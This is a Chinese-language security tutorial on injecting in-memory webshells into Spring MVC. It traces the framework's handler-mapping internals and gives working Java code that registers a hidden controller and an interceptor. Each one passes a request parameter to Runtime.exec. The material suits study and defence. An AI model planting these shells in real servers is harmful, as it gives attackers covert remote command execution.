Java内存马2-Spring内存马
Spring内存马
1、Spring&Spring MVC简介
Spring框架是一个开源的Java应用框架,它提供了一个综合的基础设施,用于构建Java应用程序。Spring框架的主要技术包括:
- 依赖注入(Dependency Injection)** :Spring框架通过依赖注入来管理组件之间的依赖关系。 这种方式使得组件之间的耦合度降低,更易于测试和维护。
- 面向切面编程(Aspect-Oriented Programming,AOP)** :Spring框架支持AOP,允许开发人员将横切关注点(如日志记录、性能监控等)从核心业务逻辑中分离出来,提高了代码的模块化和可维护性。
- 数据访问 :Spring框架提供了对各种数据访问技术的支持,包括JDBC、ORM框架(如Hibernate、MyBatis)、JPA等。
- 事务管理 :Spring框架提供了强大的事务管理功能,可以通过声明式事务管理或编程式事务管理来管理事务。
Spring MVC是Spring框架中的一个模块,基于MVC(Model-View-Controller)设计模式,将应用程序分为模型(Model)、视图(View)和控制器(Controller)三个部分,以实现分离关注点和更好的代码组织。
SpringMVC中的常用组件:
- DispatcherServlet:前端控制器,统一处理请求和响应,整个流程控制的中心,由它调用其它组件处理用户的请求
- Handler:处理器,在DispatcherServlet的控制下Handler对具体的用户请求进行处理
- HandlerMapping:处理器映射器,根据请求的url、method等信息查找Handler,即控制器方法
- HandlerAdapter:处理器适配器,通过HandlerAdapter对处理器(控制器方法)进行执行
- View:视图,将模型数据通过页面展示给用户
- ViewResolver:视图解析器,进行视图解析,得到相应的视图,例如ThymeleafView
SpringMVC执行流程大致如下:
- 用户发起请求: 用户通过浏览器或其他客户端向服务器发送HTTP请求。
- DispatcherServlet拦截请求: 请求被服务器接收后,DispatcherServlet拦截到该请求。
- HandlerInterceptor的preHandle方法(preHandler)执行: 在DispatcherServlet确定处理器之前,会先执行所有配置的HandlerInterceptor的
preHandle方法。HandlerInterceptor是Spring MVC提供的拦截器接口,它可以在请求处理之前、请求处理之后和视图渲染之后执行一些自定义的逻辑。在preHandle方法中,可以进行一些预处理操作,例如权限验证、日志记录等。 - HandlerMapping确定处理器: DispatcherServlet通过HandlerMapping来确定请求的处理器(Handler),HandlerMapping将请求映射到相应的Controller类的方法上。
- Controller处理请求: 一旦确定了处理器,DispatcherServlet就会调用相应的Controller类的方法来处理请求。Controller方法执行业务逻辑,并返回一个ModelAndView对象。
- HandlerInterceptor的postHandle方法(postHandler)执行: 在Controller方法执行完毕并且视图渲染之前,会执行所有配置的HandlerInterceptor的
postHandle方法。在postHandle方法中,可以对Controller处理结果进行一些处理,例如添加一些公共的模型数据、记录响应时间等。 - ModelAndView包含数据和视图信息: Controller方法执行完毕后,会返回一个ModelAndView对象,其中包含了处理结果数据以及要显示的视图的信息。
- 视图解析器解析视图: DispatcherServlet将ModelAndView中的视图名交给视图解析器(ViewResolver)来解析成实际的视图对象。
- 视图渲染: 视图对象负责将模型数据渲染到客户端,最终生成HTML等内容返回给客户端。
2、环境搭建
Tomcat版本为9.0.80,SpringMVC版本为5.3.1,依赖如下:
<dependencies>
<!-- SpringMVC -->
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-webmvc</artifactId>
<version>5.3.1</version>
</dependency>
<!-- 日志 -->
<dependency>
<groupId>ch.qos.logback</groupId>
<artifactId>logback-classic</artifactId>
<version>1.2.3</version>
</dependency>
<!-- ServletAPI -->
<dependency>
<groupId>javax.servlet</groupId>
<artifactId>javax.servlet-api</artifactId>
<version>3.1.0</version>
<scope>provided</scope>
</dependency>
<!-- Spring5和Thymeleaf整合包 -->
<dependency>
<groupId>org.thymeleaf</groupId>
<artifactId>thymeleaf-spring5</artifactId>
<version>3.0.12.RELEASE</version>
</dependency>
<dependency>
<groupId>javax.servlet</groupId>
<artifactId>javax.servlet-api</artifactId>
<version>4.0.1</version>
<scope>provided</scope>
</dependency>
<dependency>
<groupId>org.junit.jupiter</groupId>
<artifactId>junit-jupiter-api</artifactId>
<version>${junit.version}</version>
<scope>test</scope>
</dependency>
<dependency>
<groupId>org.junit.jupiter</groupId>
<artifactId>junit-jupiter-engine</artifactId>
<version>${junit.version}</version>
<scope>test</scope>
</dependency>
</dependencies>
web.xml文件如下:
<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
version="4.0">
<!-- 配置SpringMVC的前端控制器,对请求统一进行处理 -->
<servlet>
<servlet-name>springmvc</servlet-name>
<servlet-class>org.springframework.web.servlet.DispatcherServlet</servlet-class>
<init-param>
<param-name>contextConfigLocation</param-name>
<param-value>classpath:/springmvc.xml</param-value>
</init-param>
<load-on-startup>1</load-on-startup>
</servlet>
<servlet-mapping>
<servlet-name>springmvc</servlet-name>
<url-pattern>/</url-pattern>
</servlet-mapping>
</web-app>
Springmvc.xmlt配置文件如下:
<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:context="http://www.springframework.org/schema/context"
xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd http://www.springframework.org/schema/context https://www.springframework.org/schema/context/spring-context.xsd">
<!-- 自动扫描组件 -->
<context:component-scan base-package="com.example.springmshell.controller"></context:component-scan>
<!-- 配置Thymeleaf视图解析器 -->
<bean id="viewResolver"
class="org.thymeleaf.spring5.view.ThymeleafViewResolver">
<property name="order" value="1"/>
<property name="characterEncoding" value="UTF-8"/>
<property name="templateEngine">
<bean class="org.thymeleaf.spring5.SpringTemplateEngine">
<property name="templateResolver">
<bean
class="org.thymeleaf.spring5.templateresolver.SpringResourceTemplateResolver">
<!-- 视图前缀 -->
<property name="prefix" value="/WEB-INF/templates/"/>
<!-- 视图后缀 -->
<property name="suffix" value=".html"/>
<property name="templateMode" value="HTML5"/>
<property name="characterEncoding" value="UTF-8" />
</bean>
</property>
</bean>
</property>
</bean>
</beans>
创建Controller;
@Controller
public class HelloController {
@RequestMapping("/")
public String hello(){
return "index";
}
}
启tomcat并成功跳转到classpath/WEB-INF/templates/index.html则成功;
3、Controller内存马
断点位置:

方法调用栈大致如下:

DispatcherServlet本质上是一个 Servlet,遵循 Servlet 的生命周期。所以宏观上是 Servlet 生命周期来进行调度;下面是继承实现图:

所以在方法调用栈中可以看到先从HttpServlet#service方法开始,一路调用到DispatcherServlet的doService方法;所以将断点下到doService方法;

来到doDispatch方法,跟进;


执行完getHandler(processedRequest)函数后就已经找到了需要处理请求对应的处理器和处理器方法,所以跟进,看怎么找到的;


故继续跟进到mapping.getHandler(request)



这里先看一下MappingRegisty:
MappingRegistry是 AbstractHandlerMethodMapping类的内部类,它的作用大致如下:
- 注册映射关系: 它提供了方法用于注册请求路径与处理器方法之间的映射关系。 当一个新的处理器方法被添加到
MappingRegistry中时,它会将请求路径与该方法建立映射关系。 - 查找映射关系: 它提供了方法用于查找请求路径对应的处理器方法。当DispatcherServlet接收到一个请求时,它会调用
MappingRegistry的方法来查找请求路径对应的处理器方法。 - 处理映射冲突: 如果多个处理器方法都匹配了同一个请求路径,
MappingRegistry会处理这种映射冲突。 它可能会根据一些策略来确定最终选择哪个处理器方法。 - 维护映射关系:
MappingRegistry还负责维护请求路径与处理器方法之间的映射关系的一致性。例如,在动态注册或取消注册处理器方法时,它会相应地更新映射关系。

先回来,跟进lookupHandlerMethod方法;

这段代码的大致意思就是根据请求尝试从直接路径匹配中获取处理器方法。如果直接路径匹配未找到匹配的处理器方法,则遍历所有注册的路径,将匹配的处理器方法添加到 matches 列表中。接着,它选择最佳匹配的处理器方法,并处理匹配结果。如果没有匹配到处理器方法,则处理无匹配的情况。
当前请求为/,那么能够找到对应的处理器方法,接下来再看看addMatchingMappings;

这里就会获取匹配的处理器方法并且保存了;

跟到这里自然想到,HandlerMethod是在下面的方法中获取的,首先查看这个方法;

发现是MappingRegistry(这是个内部类)中的一个final属性;

可以直接从registry下手,这里先跟进getHandlerMethod,跟进;发现构造器中传递了这个参数,那看哪些方法调用了这个构造器;

发现register方法中调用了这个构造器。看哪里调用了register;


发现registerMapping和registerHandlerMethod方法中调用了这个方法;再分别查看这两个方法被谁调用了(目前还在抽象类中);


最终发现在其实现类RequestMappingHandlerMapping中调用了;

跟到这里发现,只要调用mappingRegistry.register()或RequestMappingHandlerMapping中的registerMapping方法(本质上也是调用mappingRegistry.register()),那么就可以向mappingRegistry中添加HandlerMethod,从而注册内存马;
查看registerMapping方法如下:
@Override
public void registerMapping(RequestMappingInfo mapping, Object handler, Method method) {
super.registerMapping(mapping, handler, method);
updateConsumesCondition(mapping, method);
}
mapping:表示请求映射信息,包括了请求路径、请求方法、请求参数、请求头等信息,它是RequestMappingInfo类型的对象。handler:表示处理器对象,通常是一个Controller类的实例,用于处理具体的请求。method:表示处理器方法,即处理器对象中用于处理具体请求的方法
再看看RequestMappingInfo的结构;它实现了 RequestCondition<RequestMappingInfo>接口,用于封装请求的各种条件,包括请求路径、请求方法、请求参数、请求头等信息。主要参数如下:
patternsCondition:用于表示请求路径的条件,即请求的URL路径。 可以包含多个路径模式,用于匹配多个URL。methodsCondition:用于表示请求方法的条件,即请求的HTTP方法(GET、POST等)。paramsCondition:用于表示请求参数的条件,即请求中携带的参数。headersCondition:用于表示请求头的条件,即请求中携带的头信息。

其中对我们比较重要的是patternsCondition和methodsCondition,有了这个两个参数,在找到了Controller之后就可以根据请求方法和路径匹配到具体处理请求的方法;
PatternsRequestCondition的构造器如下,表示可以传入多个匹配路径;

RequestMethodsRequestCondition构造器如下,表示可以传入多种请求方式;如果传入的requestMethods数组为空或为null,那么将methods属性设置为空的不可变集合Collections.emptySet()。表示该RequestMethodsRequestCondition对象不限制任何请求方法,即匹配所有请求方法:

registerMapping调用如下:
PatternsRequestCondition patternsRequestCondition = new PatternsRequestCondition("/hack");
RequestMethodsRequestCondition requestMethodsRequestCondition = new RequestMethodsRequestCondition();
RequestMappingInfo requestMappingInfo = new RequestMappingInfo(patternsRequestCondition, requestMethodsRequestCondition, null, null, null, null, null);
//恶意类实例
HelloController helloController = new HelloController();
//指定方法
Method hello = HelloController.class.getMethod("hello");
requestMappingHandlerMapping.registerMapping(requestMappingInfo,helloController,hello);
那么这个RequestMappingHandlerMapping对象就从SpringMVC容器WebApplicationContext中获取就好(注意,这里是大坑,但是先把代码写出来,后面再解释);
完整代码如下:
public class Evil {
public void cmd(){
HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest();
HttpServletResponse response = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getResponse();
String command=request.getParameter("cmd");
if (command!=null){
try {
Runtime.getRuntime().exec(command);
} catch (IOException e) {
throw new RuntimeException(e);
}
}else {
return;
}
}
}
@RestController
public class HackController {
@RequestMapping("/hack")
public String registerController() throws Exception {
WebApplicationContext context = RequestContextUtils.findWebApplicationContext(((ServletRequestAttributes) RequestContextHolder.currentRequestAttributes()).getRequest());
RequestMappingHandlerMapping requestMappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
PatternsRequestCondition patternsRequestCondition = new PatternsRequestCondition("/k1na");
RequestMethodsRequestCondition requestMethodsRequestCondition = new RequestMethodsRequestCondition();
RequestMappingInfo requestMappingInfo = new RequestMappingInfo(patternsRequestCondition, requestMethodsRequestCondition, null, null, null, null, null);
Evil evil = new Evil();
Method cmd = Evil.class.getMethod("cmd");
requestMappingHandlerMapping.registerMapping(requestMappingInfo,evil,cmd);
return "Evil has been registered";
}
}


4、踩坑日记
在获取了WebApplicationContext容器之后试图获取其中的Bean,RequestMappingHandlerMapping对象;
此时发现无论如何都获取不了,容器里根本没有这个Bean;但是程序的功能又一切正常;在经过debug的时候发现,如果按照着中项目结构,RequestMappingHandlerMapping本来就不归SpringMVC容器管理,因为它是被默认放到DispatcherServler中的;
如果在web.xml中配置了DispatcherServlet,并且部署应用程序到Tomcat容器中,那么Tomcat将是管理DispatcherServlet的容器。
此时一个比较方便的解决办法就是在springmvc.xml配置文件中注入一个RequestMappingHandlerMapping对象;
或许可以使用Tomcat容器来获取DispatcherServlet,从而反射获取
RequestMappingHandlerMapping,但是还要导入Tomcat核心库,觉得麻烦;
<bean class="org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping"/>
具体debug过程如下:

发现初始化方法initHandlerMappings



5、Interceptor内存马
Interceptor内存马相比之下比较简单,同样也是利用RequestMappingHandlerMapping;使用其父类AbstractHandlerMapping继承给它的方法adaptedInterceptors进行注册就好,懒得分析了,累了;
代码如下:
@RequestMapping("/hack2")
public String registerInterceptor() throws Exception {
WebApplicationContext context = RequestContextUtils.findWebApplicationContext(((ServletRequestAttributes) RequestContextHolder.currentRequestAttributes()).getRequest());
RequestMappingHandlerMapping requestMappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
Field adaptInterceptor = AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors");
adaptInterceptor.setAccessible(true);
List<HandlerInterceptor> list= (List<HandlerInterceptor>) adaptInterceptor.get(requestMappingHandlerMapping);
list.add(new HackInterceptor());
return "registerInterceptor success!";
}
package com.example.springmshell.controller;
import org.aopalliance.intercept.Interceptor;
import org.springframework.web.servlet.HandlerInterceptor;
import org.springframework.web.servlet.ModelAndView;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
public class HackInterceptor implements HandlerInterceptor {
@Override
public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
if (request.getParameter("cmd2")!=null){
Runtime.getRuntime().exec(request.getParameter("cmd2"));
}
return true;
}
}


Java内存马2-Spring内存马的更多相关文章
- Java安全之Spring内存马
Java安全之Spring内存马 基础知识 Bean bean 是 Spring 框架的一个核心概念,它是构成应用程序的主干,并且是由 Spring IoC 容器负责实例化.配置.组装和管理的对象. ...
- 利用Fastjson注入Spring内存马
此篇文章在于记录自己对spring内存马的实验研究 一.环境搭建 搭建漏洞环境,利用fastjson反序列化,通过JNDI下载恶意的class文件,触发恶意类的构造函数中代码,注入controller ...
- Java安全之Tomcat6 Filter内存马
Java安全之Tomcat6 Filter内存马 回顾Tomcat8打法 先回顾下之前Tomcat789的打法 这里先抛开 7 8之间的区别, 在8中,最后add到filterchain的都是一个fi ...
- 深入理解java虚拟机(6)---内存模型与线程 & Volatile
其实关于线程的使用,之前已经写过博客讲解过这部分的内容: http://www.cnblogs.com/deman/category/621531.html JVM里面关于多线程的部分,主要是多线程是 ...
- Java编程的逻辑 (61) - 内存映射文件及其应用 - 实现一个简单的消息队列
本系列文章经补充和完善,已修订整理成书<Java编程的逻辑>,由机械工业出版社华章分社出版,于2018年1月上市热销,读者好评如潮!各大网店和书店有售,欢迎购买,京东自营链接:http:/ ...
- Java堆空间Vs栈内存
之前我写了几篇有关Java垃圾收集的文章之后,我收到了很多电子邮件,请求解释Java堆空间,Java栈内存,Java中的内存分配以及它们之间的区别. 您可能在Java,Java EE书籍和教程中看到很 ...
- (转)java内存分配分析/栈内存、堆内存
转自(http://blog.csdn.net/qh_java/article/details/9084091) java内存分配分析/栈内存.堆内存 java内存分配分析 本文将由浅入深详细介绍Ja ...
- JAVA:测试java虚拟机支持的最大内存 Xmx 值?Tomcat 内存溢出?(转)
如下命令,即可测试:不断调整n的值,windows上32位的1.6x为: 1610m java -Xmx1610M -versionjava -Xmx1610m -version 网摘的tomcat内 ...
- Java进阶2 数组内存和对象的内存管理知识
Java进阶2 数组内存和对象的内存管理知识 20131028 前言: 在面试的时候,如果是Java的编程语言,也许你认为没有什么可以问的,只能够说明你对于Java了解的太浅了,几乎就是两个星期的节奏 ...
- new一个JAVA对象的时候,内存是怎么分配的?
new 对象的时候 在内存中 建立一个 内存区域 就是堆内存 用来存放对象的属性,当new完对象把对象的地址赋给对象的引用变量 这个时候 又在内存中建立一个区域 叫栈内存 用来存储 引用变量 引用变量 ...
随机推荐
- 【Unity3D】摇杆
1 需求实现 1)需求实现 鼠标拖拽摇杆球控制坦克移动: 上下左右按键也可以控制坦克移动,并且摇杆球也同步移动: 鼠标右键滑动,控制坦克转向: 相机在玩家后上方的位置,始终跟随玩家,朝玩家正前方看 ...
- 使用clipboard插件结合layui实现的一键复制按钮
说明 之前开发了个基金分析的网页,主要是方便几个朋友买卖基金做个参考.这里面基金代码是存储在浏览器cookie中的,也就是说假如我换了浏览器就没法查了,最方便的就是一键复制代码粘贴到另外一个浏览器中一 ...
- shell脚本实现进度条程序
1.实现效果 2.shell脚本 #!/bin/bash i=0 bar='' index=0 arr=( "|" "/" "-" &quo ...
- linux下docker安装与初始
1 docker的安装与使用初识 1 docker的安装 # step 1: 安装必要的一些系统工具 sudo yum install -y yum-utils device-mapper-persi ...
- MySQL 数据库死锁排查
死锁排查方法 查看进程状态 show processlist; 查看行锁的状态 show status like 'InnoDB_row_lock%'; 查询是否有死锁 show engine inn ...
- 【Azure API 管理】APIM不能连接到 App Service (APIM cannot connect to APP service)
问题描述 APIM 无法正确连接到App Service,返回500错误: { "statusCode": 500, "message": "Inte ...
- 【Azure 应用服务】Azure App Service 在不配置自定义域名的情况下如何使用呢?
问题描述 根据中国法律法规的规定及相关监管机构的要求,当使用应用服务创建应用时,须立即绑定一个已经完成ICP备案的自定义域名并通过该自定义域名访问该应用服务.任何通过Internet对应用服务默认域名 ...
- nginx应用及性能调优
1. Nginx 反向代理实现 说反向代理之前 先说什么是正向代理, 正向代理是指客户端通过 代理服务器访问目标服务器,客户端直接访问代理服务器,在由代理服务器访问目标服务器并返回客户端并返回 . 例 ...
- postgreSql最佳配置详解(connection 申请、回收策略)
一.引子 合理配置一个应用的数据库参数,使其运行良好,这很重要.本文以某务中台的生产环境为例,从Apollo上拔下来一套配置,分析是否合理. 二.MybatisPlus配置 由于我们使用Apollo配 ...
- 使用 Abp.Zero 搭建第三方登录模块(四):微信小程序开发
简短回顾一下微信小程序端的流程: 用户通过扫码进入小程序的鉴权页面,更新状态到ACCESSED已扫码 用户点击确认授权,微信通过wx.login()接口获取第三方登录的必要信息:Code登录凭证. ...